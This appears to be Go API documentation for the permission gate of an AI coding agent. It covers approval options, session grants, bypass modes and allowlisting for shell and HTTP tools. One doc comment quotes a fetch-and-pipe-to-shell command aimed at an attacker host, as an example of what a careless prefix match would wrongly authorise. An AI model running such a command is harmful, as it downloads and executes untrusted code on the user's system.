Documentation
¶
Index ¶
- Constants
- func AllWriteKeysGranted(grants, keys []string) bool
- func Approved(res *acp.PermissionResult) bool
- func AutoApproves(params acp.PermissionRequestParams, configMode string) bool
- func CommandAllowedWithSession(env *tooling.Env, sessionCmdGrants []string, cmd string) bool
- func ExtractRunCommand(argsJSON string) string
- func HTTPRequestAllowedWithSession(env *tooling.Env, grants []string, argsJSON string) bool
- func HTTPRequestPromptBody(env *tooling.Env, argsJSON string) string
- func Options(toolName, argsJSON string) []acp.PermissionOption
- func OptionsFor(toolName, argsJSON string, oc OptionContext) []acp.PermissionOption
- func ProgramGrant(cmd string) (string, bool)
- func PromptBody(toolName, inputJSON string) string
- func RecordAllowAlways(st *session.State, toolName, argsJSON, cwd string, res *acp.PermissionResult)
- func SessionModeOption(res *acp.PermissionResult) string
- func WriteGrantKeys(toolName, argsJSON, cwd string) []string
- type OptionContext
Constants ¶
const ( OptionAllowAlwaysURL = "allow_always_url" OptionAllowAlwaysOrigin = "allow_always_origin" )
OptionAllowAlwaysURL and OptionAllowAlwaysOrigin are the "always" choices of an http_request dialog: every later request to this address (any method, any query), or to anything on this origin.
const ( OptionAllow = "allow" OptionAllowAlways = "allow_always" OptionReject = "reject" )
OptionAllow, OptionAllowAlways and OptionReject are the ids of the choices every permission dialog offers; a client answers with one of them.
const ( OptionAllowSessionBypass = "allow_session_bypass" OptionAllowSessionAcceptEdits = "allow_session_accept_edits" )
OptionAllowSessionBypass and OptionAllowSessionAcceptEdits approve the call and switch the session's permission mode for the rest of the session: to bypass, or to accept_edits for a file write (#292). They are offered only while the session asks (mode ask), on the session's own prompts.
const OptionAllowAlwaysProgram = "allow_always_program"
OptionAllowAlwaysProgram is the permission option id for widening a grant from one exact command to the program it invokes.
const OutcomeCancelled = "cancelled"
OutcomeCancelled is the outcome a client reports when the request was dismissed instead of answered.
Variables ¶
This section is empty.
Functions ¶
func AllWriteKeysGranted ¶
AllWriteKeysGranted returns true when grants contains every key (non-empty keys slice).
func Approved ¶
func Approved(res *acp.PermissionResult) bool
Approved reports whether a client's answer to a permission request lets the tool call proceed. A cancelled request and the reject option are the only refusals; every other selected option is an approval, so a client that answers in the protocol's nested shape is honoured like Coddy's own surfaces.
func AutoApproves ¶
func AutoApproves(params acp.PermissionRequestParams, configMode string) bool
AutoApproves reports whether a sender answers a permission request itself, without asking anybody: the mode of the agent that asks is bypass. A subagent's own narrowed mode decides first, then the mode the session's gate stamped, then the configuration's, for a request that carries neither (a caller outside the agent's gate).
func CommandAllowedWithSession ¶
CommandAllowedWithSession reports whether a command may run without asking, given the operator's config allowlist and the grants collected in this session's permission dialogs.
The two are deliberately not merged into one prefix match. A config entry is operator-authored and keeps its documented meaning. A session grant, by contrast, was created by clicking a button about one specific command, so it only extends to a candidate that is itself a single plain invocation: approving "curl https://trusted" must never end up authorising "curl https://attacker | sh", which a bare prefix match would allow.
func ExtractRunCommand ¶
ExtractRunCommand returns the shell command from run_command JSON args.
func HTTPRequestAllowedWithSession ¶
HTTPRequestAllowedWithSession reports whether an http_request call may run without asking, given the permission mode, tools.http_request.allowlist and the grants collected in this session's dialogs.
Under bypass nothing asks. Otherwise the destination has to be allowlisted or granted, and so does everything the request carries beyond it: a local file and an unchecked certificate are covered by an allowlisted destination or by their own grant; a proxy is a destination of its own and needs its own allowlist entry or grant; the file a response is saved to follows the write policy, so accept_edits covers it and ask needs its grant. Arguments the tool would refuse still ask - the prompt says why they will fail - so a file that appears between the check and the call cannot slip through unapproved.
func HTTPRequestPromptBody ¶
HTTPRequestPromptBody is the permission prompt text for an http_request call: the request as it would be sent in env - the operator's default headers included, and named as such - and what an "always" answer would cover beyond its destination.
func Options ¶
func Options(toolName, argsJSON string) []acp.PermissionOption
Options returns the choices the permission dialog offers for a tool call.
Every tool gets allow / allow always / reject. A shell command that can be widened safely gets a fourth choice naming the grant it would store, so a batch of calls differing only in their arguments is approved once instead of once per call. An http_request names its address and its origin instead of a bare "allow always", because those are what the grant would cover.
func OptionsFor ¶
func OptionsFor(toolName, argsJSON string, oc OptionContext) []acp.PermissionOption
OptionsFor is Options with the session-wide switches offered where they apply: while the session asks (mode ask), "allow edits for this session" on a file write and "bypass for this session" on anything but the staged-config commit and rollback, which keep asking because a commit can rewrite the permission policy itself.
func ProgramGrant ¶
ProgramGrant returns the allowlist entry that a program-wide grant would add for cmd, and whether widening is safe to offer at all.
The returned entry is exactly what the permission dialog names on its button, so the operator approves the string that is actually stored. Widening is refused for anything but a single plain invocation: shell metacharacters, a leading environment assignment, or an empty command all keep the narrow exact-command grant that "Allow always" already provides.
func PromptBody ¶
PromptBody returns UI text for a permission dialog (optional permission_rationale JSON field).
func RecordAllowAlways ¶
func RecordAllowAlways(st *session.State, toolName, argsJSON, cwd string, res *acp.PermissionResult)
RecordAllowAlways persists session grants when the user chose one of the allow-always options. "allow_always" stores the exact command; the program-wide option stores the wider entry that ProgramGrant derived and that the dialog named on its button.
func SessionModeOption ¶
func SessionModeOption(res *acp.PermissionResult) string
SessionModeOption returns the permission mode an answer switches the session to, or "" when the answer switches nothing.
func WriteGrantKeys ¶
WriteGrantKeys returns persisted keys for filesystem tools (toolName|absolutePath). Empty if none.
Types ¶
type OptionContext ¶
type OptionContext struct {
// Mode is the permission mode the session asks under.
Mode string
// SessionSwitch allows the session-wide options at all: false for a
// subagent's prompt (its mode was narrowed by its definition and a child
// changes nothing of its parent) and for a prompt a hook forced.
SessionSwitch bool
}
OptionContext is what the gate knows about a prompt beyond the call itself: whether it may offer to switch the session's permission mode.
Source Files